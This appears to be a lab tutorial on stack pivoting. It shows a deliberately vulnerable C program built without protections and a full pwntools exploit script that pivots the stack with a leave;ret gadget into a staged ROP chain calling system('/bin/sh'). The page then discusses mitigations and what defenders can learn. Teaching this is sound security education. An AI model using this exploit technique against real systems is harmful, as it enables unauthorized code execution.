Skip to content

Stack Pivoting: Relocating the ROP Chain

When the overflow gives you only a few bytes past the return address, pivot the stack pointer into a buffer you fully control and run the real chain from there. A pwntools walkthrough.

Published on 4 min read

This is the tenth walkthrough in the Exploitation Techniques area. Every ROP technique so far assumed enough room after the return address to lay out the whole chain. Often you do not have it — the overflow reaches the saved frame pointer and return address and little more. Stack pivoting is the maneuver that fixes this: redirect rsp into a buffer you fully control and run the real chain from there.

Your own binary, disposable lab. See the lab rules.

The constraint: a chain that won't fit

Imagine an overflow that lets you overwrite exactly the saved rbp and the saved return address, and nothing more — 16 bytes of control. That is enough to jump once, but a ret2libc or execve chain needs far more. The idea: use that single jump to move rsp onto a large region you filled earlier, where the full chain waits.

A tiny overflow pivots rsp onto a chain staged elsewhere
tiny overflowoverwrites saved rbp + return address
returns into
leave ; retmov rsp, rbp — sets rsp = staged buffer
rsp now on
staged chain in .bssthe full ROP chain, with room to spare
datacodewritable memory

Pivot gadgets

Anything that loads rsp from controlled data is a pivot:

GadgetEffectYou control rsp via
leave ; retmov rsp, rbp ; pop rbp ; retthe saved rbp you overwrote
pop rsp ; retpops rsp directlythe next stack qword
xchg rax, rsp ; retswaps rax into rspwhatever you loaded into rax
add rsp, N ; retshifts within the current stackfixed small moves

leave ; ret is the most common because the epilogue of almost every function is leave ; ret, and you already overwrote the saved rbp.

The target

/* vuln.c — first read stages a chain into .bss; second overflow is tiny. */
#include <unistd.h>

char stage[0x400];               /* large, fixed-address buffer (no PIE) */

void vuln(void) {
    char buf[64];
    read(0, stage, sizeof stage);   /* 1) fill the staging buffer */
    read(0, buf, 88);               /* 2) small overflow: buf..rbp..ret + a bit */
}

int main(void){ vuln(); return 0; }
gcc -fno-stack-protector -no-pie -O0 -g -o vuln vuln.c

The first read lets us place a full chain at the fixed address stage. The second read overflows just enough to set the saved rbp and the return address.

The exploit

Set the saved rbp so that after leave the stack pointer lands at the start of stage, and set the return address to a leave ; ret gadget.

# pivot.py
from pwn import *

context.binary = elf = ELF("./vuln")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")   # for the real chain

stage = elf.symbols["stage"]
rop   = ROP(elf)
leave_ret = rop.find_gadget(["leave", "ret"])[0]
pop_rdi   = rop.find_gadget(["pop rdi", "ret"])[0]
ret       = rop.find_gadget(["ret"])[0]

io = process("./vuln")

# 1) the real chain, placed at `stage`. leave will set rsp = stage,
#    then `pop rbp` consumes the first 8 bytes — so lead with padding.
chain  = p64(0)                      # eaten by `pop rbp` in leave
chain += p64(ret)                    # alignment
chain += p64(pop_rdi) + p64(next(libc.search(b"/bin/sh\x00")))
chain += p64(libc.symbols["system"])
io.send(chain.ljust(0x400, b"\x00"))

# 2) the tiny overflow: 64 buf + saved rbp + return address
payload  = b"A" * 64
payload += p64(stage)                # saved rbp -> leave sets rsp = stage
payload += p64(leave_ret)            # return into `leave ; ret` to pivot
io.send(payload)

io.interactive()

Walk the pivot: vuln returns into leave ; ret. leave does mov rsp, rbp (so rsp = stage) then pop rbp (consuming stage's first 8 bytes — that is why the chain leads with padding). The trailing ret now reads its target from stage+8, and the real chain runs with a full 0x400 bytes of room. (libc.address must be set from a leak if ASLR is on; omitted here for clarity.)

Pivoting twice / into freshly read data

A common variant: pivot into a small landing zone whose only job is to call read again into a big region, then pivot a second time into that. Pivots compose, so a tiny initial primitive can bootstrap unlimited space.

Turn the mitigations back on

Stack pivoting is a movement technique, not a bug, so it inherits the usual choke points:

MitigationEffect on the pivot
Stack canaryThe tiny overflow still crosses the canary — detected before ret
PIE + ASLRstage's address is randomized; the pivot needs a leak first
Shadow stack / CETEvery ret (including the pivot's) is checked against the shadow copy and mismatches, aborting
Non-executable data (NX)Irrelevant — the destination holds addresses, not code

The shadow stack is again decisive: the pivot relies on ret reading an attacker-chosen target, and CET's shadow stack is exactly the mechanism that rejects a ret whose target does not match the protected copy.

What this teaches a defender

  • A "too small to exploit" overflow is a myth. Sixteen controlled bytes are enough to pivot to a buffer you staged elsewhere. Do not downgrade an overflow's severity just because the immediately overwritable region is small.
  • Fixed-address writable buffers help attackers. A large global in a non-PIE binary is an ideal pivot destination. PIE removes the "fixed address" half of that gift.
  • Backward-edge integrity keeps paying off. Canaries stop the initial overwrite; shadow stacks reject the pivot's ret. If you can enable only one new mitigation on native code, a shadow stack (CET / PAC) breaks the widest set of techniques in this series.

Key takeaways

  • Stack pivoting relocates rsp into a buffer you control, so a tiny overflow can drive a full chain staged elsewhere.
  • leave ; ret is the workhorse pivot: control the saved rbp and you control rsp after the epilogue.
  • Lead the staged chain with 8 bytes of padding to absorb the pop rbp inside leave.
  • Pivots compose and inherit the standard defences; a shadow stack rejects the pivot's own ret.

Next: file-structure attacks (FSOP), where the target is not a return address or the GOT but a FILE object the program still trusts.

Related guides

0x8000 · ARM64 Exploitation

ROP on ARM64: Gadgets and the Link Register

AArch64 gadgets end in ret, which branches to x30 — so the chain is threaded through the link register with ldp gadgets. Build a system("/bin/sh") chain, then watch PAC and BTI break it.

0x7000 · Exploitation Techniques

ret2csu: Borrowing the Runtime's Universal Gadget

No pop rdx gadget? The C runtime's startup code has a universal sequence that loads several registers and makes a controlled call. Build it with pwntools, and see where it's gone.

0x7000 · Exploitation Techniques

Building a ROP Chain Step by Step

With NX on, injected shellcode is dead — so we reuse the program's own code. A full lab walkthrough: find gadgets, hand-build an execve syscall chain with pwntools, then watch CET and CFI break it.